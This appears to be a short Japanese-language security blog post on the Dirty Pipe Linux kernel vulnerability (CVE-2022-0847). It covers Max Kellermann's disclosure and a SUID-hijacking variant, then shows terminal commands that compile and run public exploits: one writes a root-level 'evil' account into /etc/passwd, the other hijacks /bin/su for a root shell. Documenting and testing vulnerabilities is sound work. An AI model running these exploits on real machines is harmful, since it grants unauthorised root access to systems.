
「Dirty Pipe」として知られる新しいLinuxの脆弱性により、ローカルユーザーは公開されているエクスプロイトを通じてroot権限を取得できます。
本日、セキュリティ研究者のMax Kellermann氏は、「Dirty Pipe」の脆弱性を責任を持って開示し、Linux Kernel 5.8以降に影響を与え、Androidデバイスにも影響があると述べました。
この脆弱性はCVE-2022-0847として追跡されており、非特権ユーザーが読み取り専用ファイル(rootとして実行されるSUIDプロセスを含む)にデータを注入し、上書きすることができます。
Kellerman氏は、顧客の1人のWebサーバーアクセスログを破損させていたバグを追跡した後、このバグを発見しました。
その後、Bl4styが別のバージョンを作成しました。/etc/passwdのようなファイルを上書きする代わりに、ユーザーが指定したSUIDバイナリ(/bin/suなど)を上書きし、シェルコードを注入して、特権ユーザー(すなわちroot)権限で実行されます。
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC1.c -o exploit1
┌──(ghost㉿uchiha)-[~]
└─$./exploit1 /etc/passwd 189 'evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash
'
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC2.c -o exploit2
┌──(ghost㉿uchiha)-[~]
└─$./exploit2 /bin/su
詳細な使用方法については、次を参照してください: https://medium.com/@ajithcrajendran/cve-2022-0847-dirty-pipe-a5d68f422dcf